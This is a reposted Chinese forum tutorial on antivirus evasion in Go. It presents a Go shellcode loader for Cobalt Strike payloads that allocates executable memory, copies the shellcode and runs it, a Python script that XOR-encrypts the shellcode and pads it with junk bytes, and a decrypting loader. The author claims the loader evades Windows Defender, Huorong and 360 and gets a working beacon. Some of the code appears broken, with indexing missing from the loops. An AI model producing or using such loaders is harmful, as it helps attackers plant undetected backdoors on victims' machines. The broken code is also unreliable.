贵强 發表於 2021-2-13 11:40:00

go免杀初探

<h1 id="0x01-go免杀">0x01 go免杀</h1>
<p>由于各种av的限制,我们在后门上线或者权限持久化时很容易被杀软查杀,容易引起目标的警觉同时暴露了自己的ip。尤其是对于windows目标,一个免杀的后门极为关键,如果后门文件落不了地,还怎么能进一步执行呢?关于后门免杀,网上的介绍已经很多了,原理其实大同小异。看了很多网上的案例,发现网上比较多都是用C/C++和python来进行免杀,但是很多已经被杀软看的死死的,<br>
非常容易就被识别出来了,那我想能不能用一种稍微小众一点的语言来写免杀呢,这里就不得不说到go语言。<br>
Go语言专门针对多处理器系统应用程序的编程进行了优化,使用Go编译的程序可以媲美C或C++代码的速度,而且更加安全、支持并行进程。而且go语言支持交叉编译可以跨平台。<br>
本文基于cobalt strike生成的.c文件来进行免杀测试。</p>
<h1 id="0x02-免杀测试">0x02 免杀测试</h1>
<p>首先生成成一个.C文件<br>
<img src="https://img2020.cnblogs.com/blog/1884700/202102/1884700-20210213113908865-1211308552.png" alt="" loading="lazy"><br>
<img src="https://img2020.cnblogs.com/blog/1884700/202102/1884700-20210213113914752-2082799202.png" alt="" loading="lazy"><br>
这里先贴一个最原始的go加载代码</p>
<pre><code>package main

import (
        "syscall"
        "unsafe"
)

const (
        MEM_COMMIT             = 0x1000
        MEM_RESERVE            = 0x2000
        PAGE_EXECUTE_READWRITE = 0x40 // 区域可以执行代码,应用程序可以读写该区域。
)

var (
        kernel32      = syscall.MustLoadDLL("kernel32.dll")
        ntdll         = syscall.MustLoadDLL("ntdll.dll")
        VirtualAlloc= kernel32.MustFindProc("VirtualAlloc")
        RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

func main() {
        xor_shellcode := []byte{0x89, 0x3d, 0xf6, 0x91, 0x85, 0x9d, 0xb9, 0x75, 0x75, 0x75, 0x34, 0x24, 0x34, 0x25, 0x27, 0x24, 0x23, 0x3d, 0x44, 0xa7, 0x10, 0x3d, 0xfe, 0x27, 0x15, 0x3d, 0xfe...}

        addr, _, err := VirtualAlloc.Call(0, uintptr(len(xor_shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
        if err != nil &amp;&amp; err.Error() != "The operation completed successfully." {
                syscall.Exit(0)
        }
        _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&amp;xor_shellcode)), uintptr(len(xor_shellcode)))
        if err != nil &amp;&amp; err.Error() != "The operation completed successfully." {
                syscall.Exit(0)
        }
        syscall.Syscall(addr, 0, 0, 0, 0)
}
</code></pre>
<p>这里注意:因为杀软对直接加载shellcode的一般都是落地秒,所以我们得换种方式,将shellcode混淆加密后再解密来使用。<br>
加密和混淆经常使用的有异或加密,AES加密,或者添加随机字符等。<br>
但是随着现在使用这种方法的人越来越多,杀软检测力度也越来越大,所以现在混淆的关键就是方式尽量要小众,或者自己写加密方法。<br>
这里有个好的地方就是,现在网上实现加密混淆操作的大都是使用C/C++来完成的,有些比较好的思路用C/C++实现可能会被杀软拦截,但是如果把它移植到go上面说不定就有不一样的效果。<br>
先从整个shellcode混淆的脚本</p>
<pre><code>def xor(shellcode, key):
    new_shellcode = ""
    key_len = len(key)
    # 对shellcode的每一位进行xor亦或处理
    for i in range(0, len(shellcode)):
      s = ord(shellcode)
      p = ord((key))
      s = s ^ p# 与p异或,p就是key中的字符之一
      s = chr(s)
      new_shellcode += s
    return new_shellcode

def random_decode(shellcode):
    j = 0
    new_shellcode = ""
    for i in range(0,len(shellcode)):
      if i % 2 == 0:
            new_shellcode = shellcode
            j += 1

    return new_shellcode

def add_random_code(shellcode, key):
    new_shellcode = ""
    key_len = len(key)
    # 每个字节后面添加随机一个字节,随机字符来源于key
    for i in range(0, len(shellcode)):
      #print(ord(shellcode))
      new_shellcode += shellcode
      # print("&amp;"+hex(ord(new_shellcode)))
      new_shellcode += key

      #print(i % key_len)
    return new_shellcode

# 将shellcode打印输出
def str_to_hex(shellcode):
    raw = ""
    for i in range(0, len(shellcode)):
      s = hex(ord(shellcode)).replace("0x",',0x')
      raw = raw + s
    return raw

if __name__ == '__main__':
    shellcode = ""
    # 这是异或和增加随机字符使用的key
    key = "iqe"
    print(shellcode)
    print(len(shellcode))
    # 首先对shellcode进行异或处理
    shellcode = xor(shellcode, key)
    print(len(shellcode))

    # 然后在shellcode中增加随机字符
    shellcode = add_random_code(shellcode, key)

    # 将shellcode打印出来
    print(str_to_hex(shellcode))
</code></pre>
<p>加密shellcode后,再使用go语言加载混淆后的shellcode,先解密再执行。</p>
<pre><code>package main

import (
        "fmt"
        "syscall"
        "time"
        "unsafe"
)

const (
        MEM_COMMIT             = 0x1000
        MEM_RESERVE            = 0x2000
        PAGE_EXECUTE_READWRITE = 0x40 // 区域可以执行代码,应用程序可以读写该区域。

)

var (
        kernel32      = syscall.MustLoadDLL("kernel32.dll")
        ntdll         = syscall.MustLoadDLL("ntdll.dll")
        VirtualAlloc= kernel32.MustFindProc("VirtualAlloc")
        RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

func main() {
        mix_shellcode := []byte{0x95,0x69,0x39,0x71,0xe6,0x65}
        var ttyolller []byte
        key := []byte("iqe")
        var key_size = len(key)
        var shellcode_final []byte
        var j = 0
        time.Sleep(2)
        // 去除垃圾代码
        fmt.Print(len(mix_shellcode))
        for i := 0; i &lt; len(mix_shellcode); i++ {
                if (i % 2 == 0) {
                        shellcode_final = append(shellcode_final,mix_shellcode)
                        j += 1
                }
        }
        time.Sleep(3)
        fmt.Print(shellcode_final)
        // 解密异或
        for i := 0; i &lt; len(shellcode_final); i++ {
                ttyolller = append(ttyolller, shellcode_final^key)
        }
        time.Sleep(3)
        addr, _, err := VirtualAlloc.Call(0, uintptr(len(ttyolller)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
        if err != nil &amp;&amp; err.Error() != "The operation completed successfully." {
                syscall.Exit(0)
        }
        time.Sleep(3)
        _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&amp;ttyolller)), uintptr(len(ttyolller)))
        if err != nil &amp;&amp; err.Error() != "The operation completed successfully." {
                syscall.Exit(0)
        }
        syscall.Syscall(addr, 0, 0, 0, 0)
}
</code></pre>
<p>直接go build生成exe文件<br>
生成的文件大概有2M,再经过UPX压缩后大概只有1M,这比python生成的要小很多了。<br>
<img src="https://img2020.cnblogs.com/blog/1884700/202102/1884700-20210213113933939-1397858422.png" alt="" loading="lazy"><br>
静态完美过WindowsDefender,火绒和360全家桶<br>
<img src="https://img2020.cnblogs.com/blog/1884700/202102/1884700-20210213113941084-1027431719.png" alt="" loading="lazy"><br>
<img src="https://img2020.cnblogs.com/blog/1884700/202102/1884700-20210213113944980-1261545724.png" alt="" loading="lazy"><br>
可以正常上线<br>
<img src="https://img2020.cnblogs.com/blog/1884700/202102/1884700-20210213113955552-1898868231.png" alt="" loading="lazy"><br>
VT查杀率71/8<br>
<img src="https://img2020.cnblogs.com/blog/1884700/202102/1884700-20210213114004964-1355537070.png" alt="" loading="lazy"><br>
可以看到国内的就一款杀软查出来了</p>
<h1 id="后记">后记</h1>
<p>用go编译的exe文件执行后会弹出黑框这里有两个解决办法</p>
<ul>
<li>在initial_beacon中设置auto migrate,但还得连带把initial sleep设置成尽可能短</li>
<li>build时添加操作选项:-ldflags="-H windowsgui"</li>
</ul>
<h1 id="参考">参考</h1>
<p>https://payloads.online/archivers/2019-11-10/1<br>
https://saucer-man.com/operation_and_maintenance/465.html#cl-5<br>
http://iv4n.cc/go-shellcode-loader/#shellcode-loader<br>
https://payloads.online/archivers/2019-11-10/3</p><br><br>
来源:https://www.cnblogs.com/Xy--1/p/14399930.html
頁: [1]
查看完整版本: go免杀初探